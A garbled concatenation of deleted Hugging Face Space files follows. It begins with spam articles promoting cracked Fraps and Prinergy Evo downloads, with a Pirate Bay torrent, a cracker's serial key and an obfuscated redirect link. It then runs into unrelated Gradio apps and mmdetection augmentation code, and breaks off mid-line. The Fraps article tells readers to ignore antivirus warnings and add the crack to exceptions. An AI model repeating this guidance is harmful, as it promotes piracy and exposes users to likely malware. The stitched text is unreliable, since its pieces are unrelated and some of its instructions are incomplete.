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            One of the trusted sources where you can download Fraps 3.2.2 Build 11496 Retail-[HB] Full Version is https://thepiratebay.org/description.php?id=5981574, where you can find the torrent file for Fraps 3.2.2 Build 11496 Retail-[HB] Full Version along with the serial key and instructions on how to install it.

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            The file size of Fraps 3.2.2 Build 11496 Retail-[HB] Full Version is about 2.5 MB and the installation is quick and easy.

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            You need to have Windows XP or later and DirectX 9 or later to run Fraps

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            You need to have Windows XP or later and DirectX 9 or later to run Fraps

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            Before you download and install Fraps 3.2.2 Build 11496 Retail-[HB] Full Version, you need to make sure that your PC meets the minimum requirements to run Fraps. You need to have Windows XP or later (Windows 7, 8, 10) and DirectX 9 or later (DirectX 10, 11, 12) installed on your PC. You also need to have a compatible graphics card and sound card that support DirectX.

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            You can install Fraps 3.2.2 Build 11496 Retail-[HB] Full Version by following these steps

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            Once you have downloaded Fraps 3.2.2 Build 11496 Retail-[HB] Full Version from the official website or from trusted sources, you can install it on your PC by following these steps:

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            1. Run the setup file (fraps_3.2.2_Retail.exe) and accept the license agreement.
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            2. Choose the destination folder where you want to install Fraps and click install.
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            4. Enter the serial key provided by [HB] in the registration window to activate the full version of Fraps.
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            Congratulations! You have successfully installed Fraps 3.2.2 Build 11496 Retail-[HB] Full Version on your PC and you can start using it to record your PC screen, audio, and gameplay.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version is a powerful and versatile software that can help you capture video and audio from your PC screen, whether you are playing a game, watching a movie, or browsing the web. You can also use Fraps to measure the performance of your PC and games by showing you the FPS on your screen.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version is the latest and most stable release of Fraps that has some improvements and bug fixes over previous versions. It also has a simple and user-friendly interface that allows you to customize the settings for video, audio, screenshots, and benchmarks according to your preferences and needs.

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            If you want to download and install Fraps 3.2.2 Build 11496 Retail-[HB] Full Version on your PC, you can either download it from the official website or from trusted sources that provide the serial key provided by [HB], who is a well-known cracker of software. You also need to have Windows XP or later and DirectX 9 or later installed on your PC to run Fraps.

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            We hope this article has helped you learn more about Fraps 3.2.2 Build 11496 Retail-[HB] Full Version and how to download and install it on your PC. If you have any questions or feedback, please feel free to leave a comment below.

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            FAQs

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              -
            • Q: Is Fraps free?
              • -
            • A: Fraps has a free version that has some limitations such as a watermark on the recordings, a maximum recording length of 30 seconds, and no audio capture. To remove these limitations, you need to buy the full version of Fraps for $37 or download the cracked version from trusted sources.
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            • A: Fraps is safe to use as long as you download it from the official website or from trusted sources that provide the serial key provided by [HB]. However, some antivirus programs may flag Fraps as a potential threat because it hooks into other processes to capture video and audio. You can safely ignore these warnings or add Fraps to your antivirus exceptions list.
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            • Q: Is Fraps compatible with Windows 10?
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            • A: Yes, Fraps is compatible with Windows 10 as well as Windows XP, Vista, 7, and 8. However, some users may experience some issues with Fraps on Windows 10 such as black screen, low FPS, or no sound. To fix these issues, you can try updating your drivers, running Fraps as administrator, disabling Game Mode and Game DVR in Windows settings, or using a different video format or codec.
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            • Q: How do I record with Fraps?
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            • A: To record with Fraps, you need to launch Fraps and then launch the game or program that you want to record. You can then press the hotkey (F9 by default) to start and stop recording. You can also use the hotkey (F10 by default) to take screenshots or the hotkey (F11 by default) to toggle the FPS overlay.
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            • Q: How do I edit my recordings with Fraps?
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            • A: To edit your recordings with Fraps, you need to use a video editing software such as Windows Movie Maker, Adobe Premiere Pro, Sony Vegas Pro, etc. You can import your recordings into these software and then trim, crop, add effects, transitions, titles, etc. You can also export your edited videos in different formats and resolutions.
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            \ No newline at end of file diff --git a/spaces/rajistics/Financial_Analyst_AI/app.py b/spaces/rajistics/Financial_Analyst_AI/app.py deleted file mode 100644 index de7de869cef60bd8c7ac5e27376752e0fbf8632c..0000000000000000000000000000000000000000 --- a/spaces/rajistics/Financial_Analyst_AI/app.py +++ /dev/null @@ -1,97 +0,0 @@ -import os -os.system("pip install gradio==3.0.18") -from transformers import pipeline, AutoTokenizer, AutoModelForSequenceClassification, AutoModelForTokenClassification -import gradio as gr -import spacy -nlp = spacy.load('en_core_web_sm') -nlp.add_pipe('sentencizer') - -def split_in_sentences(text): - doc = nlp(text) - return [str(sent).strip() for sent in doc.sents] - -def make_spans(text,results): - results_list = [] - for i in range(len(results)): - results_list.append(results[i]['label']) - facts_spans = [] - facts_spans = list(zip(split_in_sentences(text),results_list)) - return facts_spans - -auth_token = os.environ.get("HF_Token") - -##Speech Recognition -asr = pipeline("automatic-speech-recognition", "facebook/wav2vec2-base-960h") -def transcribe(audio): - text = asr(audio)["text"] - return text -def speech_to_text(speech): - text = asr(speech)["text"] - return text - -##Summarization -summarizer = pipeline("summarization", model="knkarthick/MEETING_SUMMARY") -def summarize_text(text): - resp = summarizer(text) - stext = resp[0]['summary_text'] - return stext - -##Fiscal Tone Analysis -fin_model= pipeline("sentiment-analysis", model='yiyanghkust/finbert-tone', tokenizer='yiyanghkust/finbert-tone') -def text_to_sentiment(text): - sentiment = fin_model(text)[0]["label"] - return sentiment - -##Company Extraction -def fin_ner(text): - api = gr.Interface.load("dslim/bert-base-NER", src='models', use_auth_token=auth_token) - replaced_spans = api(text) - return replaced_spans - -##Fiscal Sentiment by Sentence -def fin_ext(text): - results = fin_model(split_in_sentences(text)) - return make_spans(text,results) - -##Forward Looking Statement -def fls(text): -# fls_model = pipeline("text-classification", model="yiyanghkust/finbert-fls", tokenizer="yiyanghkust/finbert-fls") - fls_model = pipeline("text-classification", model="demo-org/finbert_fls", tokenizer="demo-org/finbert_fls", use_auth_token=auth_token) - results = fls_model(split_in_sentences(text)) - return make_spans(text,results) - -demo = gr.Blocks() - -with demo: - gr.Markdown("## Financial Analyst AI") - gr.Markdown("This project applies AI trained by our financial analysts to analyze earning calls and other financial documents.") - with gr.Row(): - with gr.Column(): - audio_file = gr.inputs.Audio(source="microphone", type="filepath") - with gr.Row(): - b1 = gr.Button("Recognize Speech") - with gr.Row(): - text = gr.Textbox(value="US retail sales fell in May for the first time in five months, lead by Sears, restrained by a plunge in auto purchases, suggesting moderating demand for goods amid decades-high inflation. The value of overall retail purchases decreased 0.3%, after a downwardly revised 0.7% gain in April, Commerce Department figures showed Wednesday. Excluding Tesla vehicles, sales rose 0.5% last month. The department expects inflation to continue to rise.") - b1.click(speech_to_text, inputs=audio_file, outputs=text) - with gr.Row(): - b2 = gr.Button("Summarize Text") - stext = gr.Textbox() - b2.click(summarize_text, inputs=text, outputs=stext) - with gr.Row(): - b3 = gr.Button("Classify Financial Tone") - label = gr.Label() - b3.click(text_to_sentiment, inputs=stext, outputs=label) - with gr.Column(): - b5 = gr.Button("Financial Tone and Forward Looking Statement Analysis") - with gr.Row(): - fin_spans = gr.HighlightedText() - b5.click(fin_ext, inputs=text, outputs=fin_spans) - with gr.Row(): - fls_spans = gr.HighlightedText() - b5.click(fls, inputs=text, outputs=fls_spans) - with gr.Row(): - b4 = gr.Button("Identify Companies & Locations") - replaced_spans = gr.HighlightedText() - b4.click(fin_ner, inputs=text, outputs=replaced_spans) - -demo.launch() \ No newline at end of file diff --git a/spaces/ravijoe/emotion_classifier/app.py b/spaces/ravijoe/emotion_classifier/app.py deleted file mode 100644 index 69b2ebad02f9fea4f0ee0e86227798ab2e9a224b..0000000000000000000000000000000000000000 --- a/spaces/ravijoe/emotion_classifier/app.py +++ /dev/null @@ -1,14 +0,0 @@ -from transformers import AutoTokenizer, AutoModelWithLMHead -import gradio as gr - -tokenizer = AutoTokenizer.from_pretrained("mrm8488/t5-base-finetuned-emotion") -model = AutoModelWithLMHead.from_pretrained("mrm8488/t5-base-finetuned-emotion") -def get_emotion(text): - input_ids = tokenizer.encode(text + '', return_tensors='pt') - output = model.generate(input_ids=input_ids,max_length=2) - dec = [tokenizer.decode(ids) for ids in output] - label = dec[0] - return label.split()[1] - -iface = gr.Interface(fn=get_emotion, inputs=["textbox"], outputs="text").launch() -iface \ No newline at end of file diff --git a/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/Prinergy-Evo-Crack-Free-Download-TOP.md b/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/Prinergy-Evo-Crack-Free-Download-TOP.md deleted file mode 100644 index fc7b15e0d6367aaab74bda3267e22770af368f4d..0000000000000000000000000000000000000000 --- a/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/Prinergy-Evo-Crack-Free-Download-TOP.md +++ /dev/null @@ -1,87 +0,0 @@ -## Prinergy Evo Crack Free Download - - - -**Click Here »»» [https://www.google.com/url?q=https%3A%2F%2Ftlniurl.com%2F2twEAf&sa=D&sntz=1&usg=AOvVaw2-efBs7xll-Vvc46LVzWUI](https://www.google.com/url?q=https%3A%2F%2Ftlniurl.com%2F2twEAf&sa=D&sntz=1&usg=AOvVaw2-efBs7xll-Vvc46LVzWUI)** - - - -# How to Download Prinergy Evo Crack for Free - - - -Prinergy Evo is a powerful software for prepress workflow management that helps you optimize your print production and reduce costs. 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            diff --git a/spaces/renatotn7/unicamp-dl-translation-en-pt-t5/README.md b/spaces/renatotn7/unicamp-dl-translation-en-pt-t5/README.md deleted file mode 100644 index 496cc7fb9b86c92627b0ace1c7a976d6bb5d0e8c..0000000000000000000000000000000000000000 --- a/spaces/renatotn7/unicamp-dl-translation-en-pt-t5/README.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Tradutor Inglês Português ( en - ptbr ) T5 -emoji: 🐢 -colorFrom: yellow -colorTo: red -sdk: gradio -sdk_version: 3.17.0 -app_file: app.py -pinned: false ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/rgres/Seg2Sat/frontend/build/_app/immutable/chunks/index-bcf2726a.js b/spaces/rgres/Seg2Sat/frontend/build/_app/immutable/chunks/index-bcf2726a.js deleted file mode 100644 index 2d47b275bdcb23c7324444798fdc9687822aeb28..0000000000000000000000000000000000000000 --- a/spaces/rgres/Seg2Sat/frontend/build/_app/immutable/chunks/index-bcf2726a.js +++ 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All rights reserved. -import copy - -import cv2 -import mmcv -import numpy as np - -from ..builder import PIPELINES -from .compose import Compose - -_MAX_LEVEL = 10 - - -def level_to_value(level, max_value): - """Map from level to values based on max_value.""" - return (level / _MAX_LEVEL) * max_value - - -def enhance_level_to_value(level, a=1.8, b=0.1): - """Map from level to values.""" - return (level / _MAX_LEVEL) * a + b - - -def random_negative(value, random_negative_prob): - """Randomly negate value based on random_negative_prob.""" - return -value if np.random.rand() < random_negative_prob else value - - -def bbox2fields(): - """The key correspondence from bboxes to labels, masks and - segmentations.""" - bbox2label = { - 'gt_bboxes': 'gt_labels', - 'gt_bboxes_ignore': 'gt_labels_ignore' - } - bbox2mask = { - 'gt_bboxes': 'gt_masks', - 'gt_bboxes_ignore': 'gt_masks_ignore' - } - bbox2seg = { - 'gt_bboxes': 'gt_semantic_seg', - } - return bbox2label, bbox2mask, bbox2seg - - -@PIPELINES.register_module() -class AutoAugment: - """Auto augmentation. - - This data augmentation is proposed in `Learning Data Augmentation - Strategies for Object Detection `_. - - TODO: Implement 'Shear', 'Sharpness' and 'Rotate' transforms - - Args: - policies (list[list[dict]]): The policies of auto augmentation. Each - policy in ``policies`` is a specific augmentation policy, and is - composed by several augmentations (dict). When AutoAugment is - called, a random policy in ``policies`` will be selected to - augment images. - - Examples: - >>> replace = (104, 116, 124) - >>> policies = [ - >>> [ - >>> dict(type='Sharpness', prob=0.0, level=8), - >>> dict( - >>> type='Shear', - >>> prob=0.4, - >>> level=0, - >>> replace=replace, - >>> axis='x') - >>> ], - >>> [ - >>> dict( - >>> type='Rotate', - >>> prob=0.6, - >>> level=10, - >>> replace=replace), - >>> dict(type='Color', prob=1.0, level=6) - >>> ] - >>> ] - >>> augmentation = AutoAugment(policies) - >>> img = np.ones(100, 100, 3) - >>> gt_bboxes = np.ones(10, 4) - >>> results = dict(img=img, gt_bboxes=gt_bboxes) - >>> results = augmentation(results) - """ - - def __init__(self, policies): - assert isinstance(policies, list) and len(policies) > 0, \ - 'Policies must be a non-empty list.' - for policy in policies: - assert isinstance(policy, list) and len(policy) > 0, \ - 'Each policy in policies must be a non-empty list.' - for augment in policy: - assert isinstance(augment, dict) and 'type' in augment, \ - 'Each specific augmentation must be a dict with key' \ - ' "type".' - - self.policies = copy.deepcopy(policies) - self.transforms = [Compose(policy) for policy in self.policies] - - def __call__(self, results): - transform = np.random.choice(self.transforms) - return transform(results) - - def __repr__(self): - return f'{self.__class__.__name__}(policies={self.policies})' - - -@PIPELINES.register_module() -class Shear: - """Apply Shear Transformation to image (and its corresponding bbox, mask, - segmentation). - - Args: - level (int | float): The level should be in range [0,_MAX_LEVEL]. - img_fill_val (int | float | tuple): The filled values for image border. - If float, the same fill value will be used for all the three - channels of image. If tuple, the should be 3 elements. - seg_ignore_label (int): The fill value used for segmentation map. - Note this value must equals ``ignore_label`` in ``semantic_head`` - of the corresponding config. Default 255. - prob (float): The probability for performing Shear and should be in - range [0, 1]. - direction (str): The direction for shear, either "horizontal" - or "vertical". - max_shear_magnitude (float): The maximum magnitude for Shear - transformation. - random_negative_prob (float): The probability that turns the - offset negative. Should be in range [0,1] - interpolation (str): Same as in :func:`mmcv.imshear`. - """ - - def __init__(self, - level, - img_fill_val=128, - seg_ignore_label=255, - prob=0.5, - direction='horizontal', - max_shear_magnitude=0.3, - random_negative_prob=0.5, - interpolation='bilinear'): - assert isinstance(level, (int, float)), 'The level must be type ' \ - f'int or float, got {type(level)}.' - assert 0 <= level <= _MAX_LEVEL, 'The level should be in range ' \ - f'[0,{_MAX_LEVEL}], got {level}.' - if isinstance(img_fill_val, (float, int)): - img_fill_val = tuple([float(img_fill_val)] * 3) - elif isinstance(img_fill_val, tuple): - assert len(img_fill_val) == 3, 'img_fill_val as tuple must ' \ - f'have 3 elements. got {len(img_fill_val)}.' - img_fill_val = tuple([float(val) for val in img_fill_val]) - else: - raise ValueError( - 'img_fill_val must be float or tuple with 3 elements.') - assert np.all([0 <= val <= 255 for val in img_fill_val]), 'all ' \ - 'elements of img_fill_val should between range [0,255].' \ - f'got {img_fill_val}.' - assert 0 <= prob <= 1.0, 'The probability of shear should be in ' \ - f'range [0,1]. got {prob}.' - assert direction in ('horizontal', 'vertical'), 'direction must ' \ - f'in be either "horizontal" or "vertical". got {direction}.' - assert isinstance(max_shear_magnitude, float), 'max_shear_magnitude ' \ - f'should be type float. got {type(max_shear_magnitude)}.' - assert 0. <= max_shear_magnitude <= 1., 'Defaultly ' \ - 'max_shear_magnitude should be in range [0,1]. ' \ - f'got {max_shear_magnitude}.' - self.level = level - self.magnitude = level_to_value(level, max_shear_magnitude) - self.img_fill_val = img_fill_val - self.seg_ignore_label = seg_ignore_label - self.prob = prob - self.direction = direction - self.max_shear_magnitude = max_shear_magnitude - self.random_negative_prob = random_negative_prob - self.interpolation = interpolation - - def _shear_img(self, - results, - magnitude, - direction='horizontal', - interpolation='bilinear'): - """Shear the image. - - Args: - results (dict): Result dict from loading pipeline. - magnitude (int | float): The magnitude used for shear. - direction (str): The direction for shear, either "horizontal" - or "vertical". - interpolation (str): Same as in :func:`mmcv.imshear`. - """ - for key in results.get('img_fields', ['img']): - img = results[key] - img_sheared = mmcv.imshear( - img, - magnitude, - direction, - border_value=self.img_fill_val, - interpolation=interpolation) - results[key] = img_sheared.astype(img.dtype) - results['img_shape'] = results[key].shape - - def _shear_bboxes(self, results, magnitude): - """Shear the bboxes.""" - h, w, c = results['img_shape'] - if self.direction == 'horizontal': - shear_matrix = np.stack([[1, magnitude], - [0, 1]]).astype(np.float32) # [2, 2] - else: - shear_matrix = np.stack([[1, 0], [magnitude, - 1]]).astype(np.float32) - for key in results.get('bbox_fields', []): - min_x, min_y, max_x, max_y = np.split( - results[key], results[key].shape[-1], axis=-1) - coordinates = np.stack([[min_x, min_y], [max_x, min_y], - [min_x, max_y], - [max_x, max_y]]) # [4, 2, nb_box, 1] - coordinates = coordinates[..., 0].transpose( - (2, 1, 0)).astype(np.float32) # [nb_box, 2, 4] - new_coords = np.matmul(shear_matrix[None, :, :], - coordinates) # [nb_box, 2, 4] - min_x = np.min(new_coords[:, 0, :], axis=-1) - min_y = np.min(new_coords[:, 1, :], axis=-1) - max_x = np.max(new_coords[:, 0, :], axis=-1) - max_y = np.max(new_coords[:, 1, :], axis=-1) - min_x = np.clip(min_x, a_min=0, a_max=w) - min_y = np.clip(min_y, a_min=0, a_max=h) - max_x = np.clip(max_x, a_min=min_x, a_max=w) - max_y = np.clip(max_y, a_min=min_y, a_max=h) - results[key] = np.stack([min_x, min_y, max_x, max_y], - axis=-1).astype(results[key].dtype) - - def _shear_masks(self, - results, - magnitude, - direction='horizontal', - fill_val=0, - interpolation='bilinear'): - """Shear the masks.""" - h, w, c = results['img_shape'] - for key in results.get('mask_fields', []): - masks = results[key] - results[key] = masks.shear((h, w), - magnitude, - direction, - border_value=fill_val, - interpolation=interpolation) - - def _shear_seg(self, - results, - magnitude, - direction='horizontal', - fill_val=255, - interpolation='bilinear'): - """Shear the segmentation maps.""" - for key in results.get('seg_fields', []): - seg = results[key] - results[key] = mmcv.imshear( - seg, - magnitude, - direction, - border_value=fill_val, - interpolation=interpolation).astype(seg.dtype) - - def _filter_invalid(self, results, min_bbox_size=0): - """Filter bboxes and corresponding masks too small after shear - augmentation.""" - bbox2label, bbox2mask, _ = bbox2fields() - for key in results.get('bbox_fields', []): - bbox_w = results[key][:, 2] - results[key][:, 0] - bbox_h = results[key][:, 3] - results[key][:, 1] - valid_inds = (bbox_w > min_bbox_size) & (bbox_h > min_bbox_size) - valid_inds = np.nonzero(valid_inds)[0] - results[key] = results[key][valid_inds] - # label fields. e.g. gt_labels and gt_labels_ignore - label_key = bbox2label.get(key) - if label_key in results: - results[label_key] = results[label_key][valid_inds] - # mask fields, e.g. gt_masks and gt_masks_ignore - mask_key = bbox2mask.get(key) - if mask_key in results: - results[mask_key] = results[mask_key][valid_inds] - - def __call__(self, results): - """Call function to shear images, bounding boxes, masks and semantic - segmentation maps. - - Args: - results (dict): Result dict from loading pipeline. - - Returns: - dict: Sheared results. - """ - if np.random.rand() > self.prob: - return results - magnitude = random_negative(self.magnitude, self.random_negative_prob) - self._shear_img(results, magnitude, self.direction, self.interpolation) - self._shear_bboxes(results, magnitude) - # fill_val set to 0 for background of mask. - self._shear_masks( - results, - magnitude, - self.direction, - fill_val=0, - interpolation=self.interpolation) - self._shear_seg( - results, - magnitude, - self.direction, - fill_val=self.seg_ignore_label, - interpolation=self.interpolation) - self._filter_invalid(results) - return results - - def __repr__(self): - repr_str = self.__class__.__name__ - repr_str += f'(level={self.level}, ' - repr_str += f'img_fill_val={self.img_fill_val}, ' - repr_str += f'seg_ignore_label={self.seg_ignore_label}, ' - repr_str += f'prob={self.prob}, ' - repr_str += f'direction={self.direction}, ' - repr_str += f'max_shear_magnitude={self.max_shear_magnitude}, ' - repr_str += f'random_negative_prob={self.random_negative_prob}, ' - repr_str += f'interpolation={self.interpolation})' - return repr_str - - -@PIPELINES.register_module() -class Rotate: - """Apply Rotate Transformation to image (and its corresponding bbox, mask, - segmentation). - - Args: - level (int | float): The level should be in range (0,_MAX_LEVEL]. - scale (int | float): Isotropic scale factor. Same in - ``mmcv.imrotate``. - center (int | float | tuple[float]): Center point (w, h) of the - rotation in the source image. If None, the center of the - image will be used. Same in ``mmcv.imrotate``. - img_fill_val (int | float | tuple): The fill value for image border. - If float, the same value will be used for all the three - channels of image. If tuple, the should be 3 elements (e.g. - equals the number of channels for image). - seg_ignore_label (int): The fill value used for segmentation map. - Note this value must equals ``ignore_label`` in ``semantic_head`` - of the corresponding config. Default 255. - prob (float): The probability for perform transformation and - should be in range 0 to 1. - max_rotate_angle (int | float): The maximum angles for rotate - transformation. - random_negative_prob (float): The probability that turns the - offset negative. - """ - - def __init__(self, - level, - scale=1, - center=None, - img_fill_val=128, - seg_ignore_label=255, - prob=0.5, - max_rotate_angle=30, - random_negative_prob=0.5): - assert isinstance(level, (int, float)), \ - f'The level must be type int or float. got {type(level)}.' - assert 0 <= level <= _MAX_LEVEL, \ - f'The level should be in range (0,{_MAX_LEVEL}]. got {level}.' - assert isinstance(scale, (int, float)), \ - f'The scale must be type int or float. got type {type(scale)}.' - if isinstance(center, (int, float)): - center = (center, center) - elif isinstance(center, tuple): - assert len(center) == 2, 'center with type tuple must have '\ - f'2 elements. got {len(center)} elements.' - else: - assert center is None, 'center must be None or type int, '\ - f'float or tuple, got type {type(center)}.' - if isinstance(img_fill_val, (float, int)): - img_fill_val = tuple([float(img_fill_val)] * 3) - elif isinstance(img_fill_val, tuple): - assert len(img_fill_val) == 3, 'img_fill_val as tuple must '\ - f'have 3 elements. got {len(img_fill_val)}.' - img_fill_val = tuple([float(val) for val in img_fill_val]) - else: - raise ValueError( - 'img_fill_val must be float or tuple with 3 elements.') - assert np.all([0 <= val <= 255 for val in img_fill_val]), \ - 'all elements of img_fill_val should between range [0,255]. '\ - f'got {img_fill_val}.' - assert 0 <= prob <= 1.0, 'The probability should be in range [0,1]. '\ - f'got {prob}.' - assert isinstance(max_rotate_angle, (int, float)), 'max_rotate_angle '\ - f'should be type int or float. got type {type(max_rotate_angle)}.' - self.level = level - self.scale = scale - # Rotation angle in degrees. Positive values mean - # clockwise rotation. - self.angle = level_to_value(level, max_rotate_angle) - self.center = center - self.img_fill_val = img_fill_val - self.seg_ignore_label = seg_ignore_label - self.prob = prob - self.max_rotate_angle = max_rotate_angle - self.random_negative_prob = random_negative_prob - - def _rotate_img(self, results, angle, center=None, scale=1.0): - """Rotate the image. - - Args: - results (dict): Result dict from loading pipeline. - angle (float): Rotation angle in degrees, positive values - mean clockwise rotation. Same in ``mmcv.imrotate``. - center (tuple[float], optional): Center point (w, h) of the - rotation. Same in ``mmcv.imrotate``. - scale (int | float): Isotropic scale factor. Same in - ``mmcv.imrotate``. - """ - for key in results.get('img_fields', ['img']): - img = results[key].copy() - img_rotated = mmcv.imrotate( - img, angle, center, scale, border_value=self.img_fill_val) - results[key] = img_rotated.astype(img.dtype) - results['img_shape'] = results[key].shape - - def _rotate_bboxes(self, results, rotate_matrix): - """Rotate the bboxes.""" - h, w, c = results['img_shape'] - for key in results.get('bbox_fields', []): - min_x, min_y, max_x, max_y = np.split( - results[key], results[key].shape[-1], axis=-1) - coordinates = np.stack([[min_x, min_y], [max_x, min_y], - [min_x, max_y], - [max_x, max_y]]) # [4, 2, nb_bbox, 1] - # pad 1 to convert from format [x, y] to homogeneous - # coordinates format [x, y, 1] - coordinates = np.concatenate( - (coordinates, - np.ones((4, 1, coordinates.shape[2], 1), coordinates.dtype)), - axis=1) # [4, 3, nb_bbox, 1] - coordinates = coordinates.transpose( - (2, 0, 1, 3)) # [nb_bbox, 4, 3, 1] - rotated_coords = np.matmul(rotate_matrix, - coordinates) # [nb_bbox, 4, 2, 1] - rotated_coords = rotated_coords[..., 0] # [nb_bbox, 4, 2] - min_x, min_y = np.min( - rotated_coords[:, :, 0], axis=1), np.min( - rotated_coords[:, :, 1], axis=1) - max_x, max_y = np.max( - rotated_coords[:, :, 0], axis=1), np.max( - rotated_coords[:, :, 1], axis=1) - min_x, min_y = np.clip( - min_x, a_min=0, a_max=w), np.clip( - min_y, a_min=0, a_max=h) - max_x, max_y = np.clip( - max_x, a_min=min_x, a_max=w), np.clip( - max_y, a_min=min_y, a_max=h) - results[key] = np.stack([min_x, min_y, max_x, max_y], - axis=-1).astype(results[key].dtype) - - def _rotate_masks(self, - results, - angle, - center=None, - scale=1.0, - fill_val=0): - """Rotate the masks.""" - h, w, c = results['img_shape'] - for key in results.get('mask_fields', []): - masks = results[key] - results[key] = masks.rotate((h, w), angle, center, scale, fill_val) - - def _rotate_seg(self, - results, - angle, - center=None, - scale=1.0, - fill_val=255): - """Rotate the segmentation map.""" - for key in results.get('seg_fields', []): - seg = results[key].copy() - results[key] = mmcv.imrotate( - seg, angle, center, scale, - border_value=fill_val).astype(seg.dtype) - - def _filter_invalid(self, results, min_bbox_size=0): - """Filter bboxes and corresponding masks too small after rotate - augmentation.""" - bbox2label, bbox2mask, _ = bbox2fields() - for key in results.get('bbox_fields', []): - bbox_w = results[key][:, 2] - results[key][:, 0] - bbox_h = results[key][:, 3] - results[key][:, 1] - valid_inds = (bbox_w > min_bbox_size) & (bbox_h > min_bbox_size) - valid_inds = np.nonzero(valid_inds)[0] - results[key] = results[key][valid_inds] - # label fields. e.g. gt_labels and gt_labels_ignore - label_key = bbox2label.get(key) - if label_key in results: - results[label_key] = results[label_key][valid_inds] - # mask fields, e.g. gt_masks and gt_masks_ignore - mask_key = bbox2mask.get(key) - if mask_key in results: - results[mask_key] = results[mask_key][valid_inds] - - def __call__(self, results): - """Call function to rotate images, bounding boxes, masks and semantic - segmentation maps. - - Args: - results (dict): Result dict from loading pipeline. - - Returns: - dict: Rotated results. - """ - if np.random.rand() > self.prob: - return results - h, w = results['img'].shape[:2] - center = self.center - if center is None: - center = ((w - 1) * 0.5, (h - 1) * 0.5) - angle = random_negative(self.angle, self.random_negative_prob) - self._rotate_img(results, angle, center, self.scale) - rotate_matrix = cv2.getRotationMatrix2D(center, -angle, self.scale) - self._rotate_bboxes(results, rotate_matrix) - self._rotate_masks(results, angle, center, self.scale, fill_val=0) - self._rotate_seg( - results, angle, center, self.scale, fill_val=self.seg_ignore_label) - self._filter_invalid(results) - return results - - def __repr__(self): - repr_str = self.__class__.__name__ - repr_str += f'(level={self.level}, ' - repr_str += f'scale={self.scale}, ' - repr_str += f'center={self.center}, ' - repr_str += f'img_fill_val={self.img_fill_val}, ' - repr_str += f'seg_ignore_label={self.seg_ignore_label}, ' - repr_str += f'prob={self.prob}, ' - repr_str += f'max_rotate_angle={self.max_rotate_angle}, ' - repr_str += f'random_negative_prob={self.random_negative_prob})' - return repr_str - - -@PIPELINES.register_module() -class Translate: - """Translate the images, bboxes, masks and segmentation maps horizontally - or vertically. - - Args: - level (int | float): The level for Translate and should be in - range [0,_MAX_LEVEL]. - prob (float): The probability for performing translation and - should be in range [0, 1]. - img_fill_val (int | float | tuple): The filled value for image - border. If float, the same fill value will be used for all - the three channels of image. If tuple, the should be 3 - elements (e.g. equals the number of channels for image). - seg_ignore_label (int): The fill value used for segmentation map. - Note this value must equals ``ignore_label`` in ``semantic_head`` - of the corresponding config. Default 255. - direction (str): The translate direction, either "horizontal" - or "vertical". - max_translate_offset (int | float): The maximum pixel's offset for - Translate. - random_negative_prob (float): The probability that turns the - offset negative. - min_size (int | float): The minimum pixel for filtering - invalid bboxes after the translation. - """ - - def __init__(self, - level, - prob=0.5, - img_fill_val=128, - seg_ignore_label=255, - direction='horizontal', - max_translate_offset=250., - random_negative_prob=0.5, - min_size=0): - assert isinstance(level, (int, float)), \ - 'The level must be type int or float.' - assert 0 <= level <= _MAX_LEVEL, \ - 'The level used for calculating Translate\'s offset should be ' \ - 'in range [0,_MAX_LEVEL]' - assert 0 <= prob <= 1.0, \ - 'The probability of translation should be in range [0, 1].' - if isinstance(img_fill_val, (float, int)): - img_fill_val = tuple([float(img_fill_val)] * 3) - elif isinstance(img_fill_val, tuple): - assert len(img_fill_val) == 3, \ - 'img_fill_val as tuple must have 3 elements.' - img_fill_val = tuple([float(val) for val in img_fill_val]) - else: - raise ValueError('img_fill_val must be type float or tuple.') - assert np.all([0 <= val <= 255 for val in img_fill_val]), \ - 'all elements of img_fill_val should between range [0,255].' - assert direction in ('horizontal', 'vertical'), \ - 'direction should be "horizontal" or "vertical".' - assert isinstance(max_translate_offset, (int, float)), \ - 'The max_translate_offset must be type int or float.' - # the offset used for translation - self.offset = int(level_to_value(level, max_translate_offset)) - self.level = level - self.prob = prob - self.img_fill_val = img_fill_val - self.seg_ignore_label = seg_ignore_label - self.direction = direction - self.max_translate_offset = max_translate_offset - self.random_negative_prob = random_negative_prob - self.min_size = min_size - - def _translate_img(self, results, offset, direction='horizontal'): - """Translate the image. - - Args: - results (dict): Result dict from loading pipeline. - offset (int | float): The offset for translate. - direction (str): The translate direction, either "horizontal" - or "vertical". - """ - for key in results.get('img_fields', ['img']): - img = results[key].copy() - results[key] = mmcv.imtranslate( - img, offset, direction, self.img_fill_val).astype(img.dtype) - results['img_shape'] = results[key].shape - - def _translate_bboxes(self, results, offset): - """Shift bboxes horizontally or vertically, according to offset.""" - h, w, c = results['img_shape'] - for key in results.get('bbox_fields', []): - min_x, min_y, max_x, max_y = np.split( - results[key], results[key].shape[-1], axis=-1) - if self.direction == 'horizontal': - min_x = np.maximum(0, min_x + offset) - max_x = np.minimum(w, max_x + offset) - elif self.direction == 'vertical': - min_y = np.maximum(0, min_y + offset) - max_y = np.minimum(h, max_y + offset) - - # the boxes translated outside of image will be filtered along with - # the corresponding masks, by invoking ``_filter_invalid``. - results[key] = np.concatenate([min_x, min_y, max_x, max_y], - axis=-1) - - def _translate_masks(self, - results, - offset, - direction='horizontal', - fill_val=0): - """Translate masks horizontally or vertically.""" - h, w, c = results['img_shape'] - for key in results.get('mask_fields', []): - masks = results[key] - results[key] = masks.translate((h, w), offset, direction, fill_val) - - def _translate_seg(self, - results, - offset, - direction='horizontal', - fill_val=255): - """Translate segmentation maps horizontally or vertically.""" - for key in results.get('seg_fields', []): - seg = results[key].copy() - results[key] = mmcv.imtranslate(seg, offset, direction, - fill_val).astype(seg.dtype) - - def _filter_invalid(self, results, min_size=0): - """Filter bboxes and masks too small or translated out of image.""" - bbox2label, bbox2mask, _ = bbox2fields() - for key in results.get('bbox_fields', []): - bbox_w = results[key][:, 2] - results[key][:, 0] - bbox_h = results[key][:, 3] - results[key][:, 1] - valid_inds = (bbox_w > min_size) & (bbox_h > min_size) - valid_inds = np.nonzero(valid_inds)[0] - results[key] = results[key][valid_inds] - # label fields. e.g. gt_labels and gt_labels_ignore - label_key = bbox2label.get(key) - if label_key in results: - results[label_key] = 